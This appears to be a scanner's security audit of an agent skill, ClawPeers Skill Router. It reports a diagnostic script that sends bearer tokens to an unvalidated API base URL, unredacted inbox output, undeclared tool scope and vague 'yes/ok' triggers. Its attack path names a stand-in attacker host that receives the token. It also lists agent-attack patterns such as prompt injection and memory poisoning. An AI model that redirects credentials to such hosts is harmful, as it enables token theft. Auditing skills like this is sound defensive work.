Back to skill

Security audit

ClawPeers Skill Router

Security checks for vulnerabilities and agentic risk

Overview

The skill does what it says, but it handles bearer tokens, inbox data, and remote publishing with enough under-scoped safeguards that users should review it carefully before installing.

Install only if you are comfortable with the agent using ClawPeers bearer tokens and sending profile, subscription, posting, intro, DM, and inbox data over the configured HTTP API. Avoid running the diagnostic script with custom API_BASE_URL values unless you fully trust the endpoint, and do not run it in shared logs or CI with real tokens because it prints inbox responses. For posting workflows, require the agent to restate the exact remote action before treating short replies like yes or ok as approval.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/check_skill_endpoints.sh:4
Finding

Bearer Token Disclosure Through an Unvalidated API Base URL

Content
View full analysis
API_BASE_URL=https://api.clawpeers.com ./check_skill_endpoints.sh" exit 1 fi echo "Checking skill endpoints at ${API_BASE_URL}" echo "--- /health" curl -fsS "${API_BASE_URL}/health" | sed 's/.*/&\n/' echo "--- /skill/status" curl -fsS -H "Authorization: Bearer ${TOKEN}" "${API_BASE_URL}/skill/status" | sed 's/.*/&\n/' echo "--- /skill/inbox/poll" curl -fsS -H "Authorization: Bearer ${TOKEN}" "${API_BASE_URL}/skill/inbox/poll?limit=5" | sed 's/.*/&\n/' ``` ### Technical Analysis The script accepts `API_BASE_URL` directly from the environment and uses it as the destination for requests containing the `Authorization: Bearer` header. It does not validate the URL scheme, hostname, port, or trust boundary before transmitting the token. Consequently, any party capable of influencing the script's environment or invocation instructions can redirect authenticated requests to an attacker-controlled endpoint. The script also permits unencrypted `http://` destinations, allowing interception over an untrusted network. The use of quoted variables prevents shell command injection, but it does not prevent credential disclosure because `curl` legitimately sends the bearer token to the configured destination. ### Attack Path 1. An attacker influences a CI variable, shell environment, copied command, deployment configuration, or troubleshooting instructions. 2. The attacker sets `API_BASE_URL` to an endpoint under their control, such as `https://attacker.example`. 3. A user or automated job runs the script with a valid ClawPeers token: ```bash TOKEN="" AP ...[truncated 969 chars]
Remediation
View remediation
&2 exit 1 ;; esac ``` If self-hosted deployments must be supported, parse and validate the URL with a dedicated URL parser and require explicit confirmation before transmitting credentials. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/check_skill_endpoints.sh:19
Finding

Sensitive Inbox Events Are Written Unredacted to Standard Output

Content
View full analysis
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (5)

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
91% confidence
Finding

The skill references execution of a shell script (scripts/check_skill_endpoints.sh) and operational HTTP actions, but it does not declare any permissions or allowed-tools scope. That mismatch can cause an agent runtime to invoke shell capabilities without explicit least-privilege boundaries, increasing the risk of unintended command execution or overly broad tool access.

Content

No source excerpt is available for this finding.

Autonomous Decision Making

Medium
Category
Excessive Agency
Confidence
85% confidence
Finding

Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Content

Scanner excerpt · SKILL.md (reported line 58)May include surrounding context.

md
### 5. Consent and Safety Rules

- Never auto-approve intro requests unless user explicitly instructs approval.
- Never send DM payloads without an approved thread context.
- Keep user identity and exact location private unless user explicitly chooses to reveal.
- If auth expires or returns 401, re-run challenge/verify and retry once.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

The workflow instructs the agent to publish profiles, sync subscriptions, poll/ack inbox events, and publish intros/DMs without requiring an explicit user warning or confirmation about changes to remote state and user data. In this skill context, those operations are not merely local reads; they can create durable records, alter subscription behavior, or acknowledge receipt of events, making accidental or opaque execution security-relevant.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The shorthand trigger logic allows common conversational phrases like 'yes', 'ok', and 'continue' to cause reuse of prior publishing context, which can result in unintended reposting or remote actions without clear, current user consent. In a skill that can publish postings and route events over HTTP APIs, this ambiguity materially increases the risk of acting on stale context or misinterpreting ordinary chat as authorization.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
84% confidence
Finding

The skill instructs the agent to use bearer-token authentication, publish profiles, sync subscriptions, and poll inbox data over network APIs, but it does not explicitly warn that identity, metadata, and messaging content will be transmitted to external services. In a skill-first messaging workflow, this omission can weaken informed consent and lead users to expose sensitive operational or personal data without realizing the network/privacy implications.

Content

No source excerpt is available for this finding.